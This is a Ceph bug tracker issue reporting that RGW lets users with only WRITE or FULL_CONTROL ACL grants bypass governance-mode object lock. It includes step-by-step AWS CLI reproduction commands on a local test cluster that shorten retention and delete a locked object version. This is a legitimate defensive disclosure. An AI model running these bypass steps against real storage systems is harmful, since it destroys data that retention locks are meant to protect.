Actions
Bug #82087
open
JZ
JZ
rgw/s3: ACL grants allow bypassing governance-mode object lock retention
Bug #82087:
rgw/s3: ACL grants allow bypassing governance-mode object lock retention
Due date:
% Done:
0%
Source:
Backport:
tentacle, umbrella
Regression:
No
Severity:
3 - minor
Reviewed:
Affected Versions:
ceph-qa-suite:
Description
AWS requires an explicit permission to bypass governance-mode retention (https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lock.html):
ACLs cannot grant that permission. In RGW, when no bucket, user or identity policy allows or denies s3:BypassGovernanceRetention, the permission check falls back to ACLs:
To override or remove governance-mode retention settings, you must have the s3:BypassGovernanceRetention permission
ACLs cannot grant that permission. In RGW, when no bucket, user or identity policy allows or denies s3:BypassGovernanceRetention, the permission check falls back to ACLs:
op_to_perm() maps the action to RGW_PERM_WRITE. As a result, anyone with WRITE or FULL_CONTROL on the bucket ACL can send x-amz-bypass-governance-retention: true to:
- permanently delete a governance-retained object version;
- shorten or remove its retention (PutObjectRetention). For this operationcthe object ACL is checked, so the uploader of an object in another user's bucket can also bypass.
- create a vstart cluster
$ MON=1 OSD=1 MDS=0 MGR=1 RGW=1 /ceph-src/src/vstart.sh -n -d --rgw_port 8000 - create an owner user and an alt user
$ bin/radosgw-admin -n client.rgw.8000 user create --uid vstart --display-name vstart --access-key 12345 --secret 12345 $ bin/radosgw-admin -n client.rgw.8000 user create --uid vstartalt --display-name vstartalt --access-key 12345alt --secret 12345alt - on client side:
aws_owner() { AWS_ACCESS_KEY_ID=12345 \ AWS_SECRET_ACCESS_KEY=12345 \ aws --endpoint-url http://localhost:8000 s3api "$@"; } aws_alt() { AWS_ACCESS_KEY_ID=12345alt \ AWS_SECRET_ACCESS_KEY=12345alt \ aws --endpoint-url http://localhost:8000 s3api "$@"; } - create a bucket with object lock enabled
$ aws_owner create-bucket --bucket bucket1 --object-lock-enabled-for-bucket - no policy but ACL granted
$ aws_owner put-bucket-acl --bucket bucket1 --grant-full-control id=vstart --grant-write id=vstartalt - upload an object by the alt user with retention specified
$ echo test /tmp/test.txt $ V=`aws_alt put-object --bucket bucket1 --key file1 --body /tmp/test.txt --object-lock-mode GOVERNANCE --object-lock-retain-until-date 2140-01-01T00:00:00Z --query VersionId --output text` $ aws_alt get-object-retention --bucket bucket1 --key file1 --version-id $V { "Retention": { "Mode": "GOVERNANCE", "RetainUntilDate": "2140-01-01T00:00:00.000000000Z" } } - shorten retention period -- failure expected but succeeded
$ aws_alt put-object-retention --bucket bucket1 --key file1 --version-id $V --retention Mode=GOVERNANCE,RetainUntilDate=2130-01-01T00:00:00Z --bypass-governance-retention $ aws_alt get-object-retention --bucket bucket1 --key file1 --version-id $V { "Retention": { "Mode": "GOVERNANCE", "RetainUntilDate": "2130-01-01T00:00:00.000000000Z" } } - delete the locked object version -- failure expected but succeeded
$ aws_alt delete-object --bucket bucket1 --key file1 --version-id $V --bypass-governance-retention
JZ Updated by Jane Zhu about 1 month ago
- Status changed from New to Fix Under Review
- Pull request ID set to 73078
Actions